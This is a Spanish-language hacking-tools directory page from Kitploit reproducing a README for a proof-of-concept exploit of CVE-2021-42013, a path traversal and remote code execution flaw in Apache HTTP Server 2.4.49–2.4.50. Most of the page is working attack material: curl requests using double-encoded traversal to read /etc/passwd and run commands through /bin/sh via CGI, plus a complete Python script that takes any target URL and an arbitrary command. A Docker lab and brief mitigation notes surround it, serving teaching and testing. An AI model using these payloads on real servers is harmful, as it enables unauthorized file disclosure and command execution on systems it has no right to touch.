Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-42013 — Exploit de prueba de concepto para la vulnerabilidad de path traversal y ejecución remota de código en Apache HTTP Server CVE-2021-42013, con entorno de laboratorio basado en Docker y script PoC en Python. | Kitploit
Herramientas/GitHubGitHub/eunho87/cve-2021-42013
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubeunho87/cve-2021-42013

CVE-2021-42013

Exploit de prueba de concepto para la vulnerabilidad de path traversal y ejecución remota de código en Apache HTTP Server CVE-2021-42013, con entorno de laboratorio basado en Docker y script PoC en Python.

Ver Repositorio
4hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-42013

Colaborador

  • 석은호@eunho87

CVE-2021-42013 Apache http Server Path Traversal

Resumen de la vulnerabilidad

Un error en el manejo de la normalización de rutas en Apache HTTP Server 2.4.50 permite leer archivos arbitrarios o ejecutar código remoto sin autenticación.

Se originó debido a un parche incompleto para CVE-2021-41773 y elude el bloqueo de rutas de Apache mediante codificación URL doble (%%32%65).

Referencias

  • NVD - CVE-2021-42013
  • Apache Security Advisory

Condiciones de vulnerabilidad

Para que CVE-2021-42013 funcione, deben cumplirse las siguientes condiciones:

  1. Apache 2.4.49~2.4.50
La configuración de la directiva Directory en httpd.conf no es Required all denied
  • Módulo mod_cgi activado (para RCE)

  • Configuración del entorno

    root@kitploit:~
    docker-compose up -d
    

    Para verificar que el entorno de prueba está ejecutándose, ejecuta el siguiente código:

    root@kitploit:~
    docker-compose ps
    

    Cuando el servidor se ejecuta correctamente, se puede acceder a http://localhost:8080.

    Reproducción de la vulnerabilidad

    Para subir al directorio padre se usa ../, pero Apache bloqueó esos caracteres. Para eludirlo, se puede usar el valor codificado . como 2e. La versión Apache 2.4.50 decodifica la codificación %2e antes de comprobarlo, por lo que usar %2e2e hace que el carácter sea bloqueado como ../. Por lo tanto, se debe usar una codificación doble con %%32%65 para evitar ese filtrado.

    root@kitploit:~
    curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
    

    Cuando el entorno permite CGI, se puede cambiar la última parte a /bin/sh para lograr RCE.

    root@kitploit:~
    curl -s --path-as-is -X POST \
      --data "echo Content-Type: text/plain; echo; id; uname -a" \
      "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
    


    Código PoC

    Python (poc.py)

    root@kitploit:~
    #!/usr/bin/env python3
    import sys
    import http.client
    from urllib.parse import urlparse
    
    def exploit(target_url, mode, arg):
        parsed = urlparse(target_url)
        host = parsed.hostname
        port = parsed.port or 80
        trav = "%%32%65%%32%65/" * 4
        
        if mode == "read":
            path = f"/static/{trav}{arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("GET", path)
        else:
            path = f"/cgi-bin/{trav}bin/sh"
            body = f"echo Content-Type: text/plain; echo; {arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
        
        result = conn.getresponse().read().decode("utf-8", "replace")
        conn.close()
        return result
    
    if __name__ == "__main__":
        if len(sys.argv) < 4:
            print(f"Uso: {sys.argv[0]} <url> <read|exec> <arg>")
            sys.exit(1)
        print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))
    

    Medidas de mitigación

    • Actualizar a Apache 2.4.51 o superior
    • Mantener Require all denied

    Limpieza

    root@kitploit:~
    docker-compose down
    

    Descargar herramienta